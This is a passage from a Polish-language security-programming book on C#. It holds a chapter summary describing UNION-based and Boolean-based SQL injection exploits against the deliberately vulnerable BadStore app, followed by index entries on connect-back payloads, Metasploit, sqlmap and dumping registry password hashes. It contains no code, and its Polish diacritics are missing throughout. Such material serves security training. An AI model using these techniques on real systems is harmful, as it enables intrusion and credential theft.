HTTP zawieraj ce dane w formacie JSON. Pos uguj c si  aplikacj  webow  wra -
liw  na wstrzykni cia SQL w danych JSON oraz serwerem proxy Burp Suite, prze-
chwycili my danie tworzenia nowych u ytkowników w aplikacji webowej. W celu
skutecznego fuzzowania tego typu da  HTTP skorzystali my z biblioteki Json.NET,
za pomoc  której mo na atwo parsowa  i wykorzystywa  dane w formacie JSON.
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Na koniec, po dok adnym zapoznaniu si  ze sposobami wyszukiwania mo li-
wych luk w aplikacjach webowych przez fuzzery, zapoznali my si  ze sposobami
wykorzystania tych luk. Pos uguj c si  jeszcze raz aplikacj  BadStore, napisali-
my eksploita iniekcji SQL bazuj cego na instrukcji UNION, za pomoc  którego,

u ywaj c pojedynczego dania HTTP, uda o si  nam wydoby  nazwy u ytkowni-
ków i skróty hase  z bazy danych aplikacji BadStore. Do skutecznego wydobywania
wyodr bnionych danych z kodu HTML zwracanego przez serwer u yli my klas
obs ugi wyra e  regularnych, takich jak Regex, Match i MatchCollection.

Po uko czeniu prostszego eksploita — bazuj cego na instrukcji UNION — na-
pisali my dla tego samego dania HTTP eksploita iniekcji SQL bazuj cego na
warto ci Boolean. Bazuj c na adunkach iniekcji SQL przekazywanych do aplikacji
webowej za pomoc  klasy HttpWebRequest, ustalili my, które z odpowiedzi HTTP
zwraca y warto  true, a które false. Kiedy dowiedzieli my si , jak b dzie zacho-
wywa a si  aplikacja webowa w odpowiedzi na pytania „prawda czy fa sz”, zacz li-
my zadawa  bazie danych tego rodzaju pytania w celu pobierania z niej informacji

bajt po bajcie. Eksploity bazuj ce na warto ciach Boolean s  bardziej skompliko-
wane ni  te, które bazuj  na instrukcji UNION. Ich wykonanie wymaga wi cej czasu
i da  HTTP, ale s  one bardzo przydatne, gdy korzystanie z eksploitów bazuj -
cych na instrukcji UNION nie jest mo liwe.
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GetMultipartFormData(), 196
GetNodeKey(), 325
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metoda
GetObject(), 271
GetValue (), 77
GetValueKey(), 325
LogOut(), 144
Main(), 28, 30, 33, 122, 230
MakeRequest(), 74
MessagePackToDictionary(), 270
ReadChildrenNodes(), 318
StringToByteArray(), 326

metody, 24
anonimowe, 30
parsowania, 85
przypisywanie delegata, 30
realizuj ce skanowanie, 229

Mono, 16
monodis, 306

N
narz dzie msfvenom, 138
Nessus, 139
netcat, 114
Nexpose, 153
Nexpose API, 163
niszczenie sesji, 161

O
obiekt, 25
obserwacja skanowania, 185
obs uga

sesji, 223
sesji dla demona clamd, 255

dania GET, 235
dania POST, 236
da  HTTP, 194

odbieranie danych, 119
odbiornik RPC, 262
odczytywanie

komunikatu z serwera, 177
wersji OpenVAS, 180

odpowiedzi HTTP, 160
od miecanie, 179
opakowanie automatyzacji, 186
opcje sqlmap, 227
OpenVas, 173
operacje

na porcie, 91, 93
w z ów potomnych, 95

P
pakiety NuGet, 264
parsowanie, 85

pliku ga zi rejestru, 315
pliku WSDL, 83

p tla while, 123
plik EICAR, 252
pliki WSDL, 83
pobieranie

d ugo ci warto ci, 75
konfiguracji skanowania, 182
pow ok, 278
warto ci z bazy danych, 77
wyników, 185

polecenie ifconfig, 82
po czenie klas sesji i mened era, 286
porównywanie binarne, 301
pow oka, 277
poziomy poprawek, 313
preparowanie parametrów, 46
program

ClamAV, 241
Cuckoo Sandbox, 189
Metasploit, 261
monodis, 306
netcat, 114
sqlmap, 213, 215

projekt Mono, 16
protokó

Arachni RPC, 287
SOAP, 81, 93
TCP, 114
UDP, 114, 121

przechowywanie kluczy warto ci, 321
przechwytywanie wra liwych da  JSON, 56
przesy anie parametrów POST, 105
przetwarzanie danych z pliku, 198
punkty ko cowe, 98, 213

R
raport ze skanowania, 231
referencja do biblioteki MSGPACK, 266
rejestr

czytanie ga zi, 314
pobieranie ga zi, 313
struktura ga zi, 312

REST, representational state transfer, 140
RPC, 262

systemu Arachni, 287
Ruby, 129
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S
scalenie dokumentu SOAP XML, 108
serwer

OpenVAS, 176
RPC, 262

silnik programu ClamAV, 248
skaner Nessus, 139
skanowanie, 229, 231

Nessus, 148
plików, 250
pliku EICAR, 252
s abych punktów, 165

skróty hase , 323
skrypty krzy owe, 43
s owo kluczowe RLIKE, 71
SOAP, Simple Object Access Protocol, 42, 81, 93
sortowanie, 205
sprz tanie, 144, 252

sesji RPC, 272
SQL, Structured Query Language, 41
sqlmap, 213

automatyzacja skanu, 232
integracja z fuzzerem SOAP, 234
lista opcji, 227
obs uga da  GET, 235
obs uga da  POST, 236
tworzenie sesji, 220
uruchamianie, 214

struktura
ga zi rejestru, 312
logiczna dokumentu WSDL, 83

strumie
HTTP, 109
sieci, 114

system
Arachni, 281
Cuckoo Sandbox, 190
OpenVAS, 173

rodowisko IDE, 22

T
tabela userdb, 72
TCP, Transmission Control Protocol, 114
testowanie

API programu sqlmap, 216
aplikacji, 209

biblioteki, 322
dekompilatora, 305
fuzzera JSON, 62
fuzzowanego kodu, 48
klasy CuckooSession, 199
klasy NessusSession, 145
klasy obs ugi sesji, 223
klasy sesji, 272
luk, 46

tworzenie
abstrakcyjnej klasy Task, 204
adresu URL, 100
argumentów opcjonalnych, 31
celów, 182
fuzzera JSON, 57
gniazda UDP, 126
interfejsu, 25
klasy, 24

ArachniHTTPManager, 285
ArachniHTTPSession, 284
CuckooSession, 193
dla dokumentu WSDL, 84
SoapMessage, 90

adunku Connect-Back, 114
maszyny wirtualnej, 39
podklas, 24

klasy abstrakcyjnej, 26
punktu ko cowego, 126
raportów, 203
sesji sqlmap, 220
zada , 184

U
UDP, User Datagram Protocol, 114
uruchamianie

automatyzacji, 170, 187
demona clamd, 255
eksploita, 276
adunków typu Metasploit, 128
adunku, 137

maszyny wirtualnej, 39
mechanizmu RPC, 288
polecenia, 124
polece  OpenVAS, 177
polece  ze strumienia, 120
serwera RPC, 262
sqlmap, 214
zada , 184
fuzzera, 110
adunku, 117

polecenia napastnika, 116
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us ugi SOAP, 96, 105
ustalenie typu zadania, 206
usuwanie lokalizacji, 167, 170
uwierzytelnianie, 176
uzyskanie klucza rozruchowego, 327

V
VirtualBox, 38

W
walidacja certyfikatów, 179
wersja OpenVAS, 180
weryfikacja klucza rozruchowego, 327
wi zanie adunku, 118
Windows

wykonywanie natywnych adunków, 131
w a ciwo ci, 24
WPF, Windows Presentation Foundation, 302
wra liwe punkty ko cowe, 82
WSDL, Web Service Description Language, 81
wybór rodowiska IDE, 22
wykonywanie

skanowania Nessus, 148
dania GET, 221
dania POST, 222
da  HTTP, 142

wylogowanie, 144, 161
wysy anie

polece , 178
da  HTTP, 68

wyszukanie
hase , 67
nazw u ytkowników, 67

wy wietlanie warto ci, 78
wywo ywanie metod, 78, 238

X
XSS, 43

Z
zakres aplikacji webowej, 286
zarz dzanie systemem Arachni, 281
zestawy zarz dzane, 301

dekompilacja, 302
wykorzystanie narz dzia monodis, 306

zintegrowane rodowisko programisty, IDE, 22
znajdowanie

us ug SOAP, 96
wersji interfejsu API, 162

zrzucanie klucza Boot, 323
zwracanie wyników, 119, 124

dania HTTP, 47, 60, 142
do interfejsu API, 159

danie
GET, 44
POST, 49
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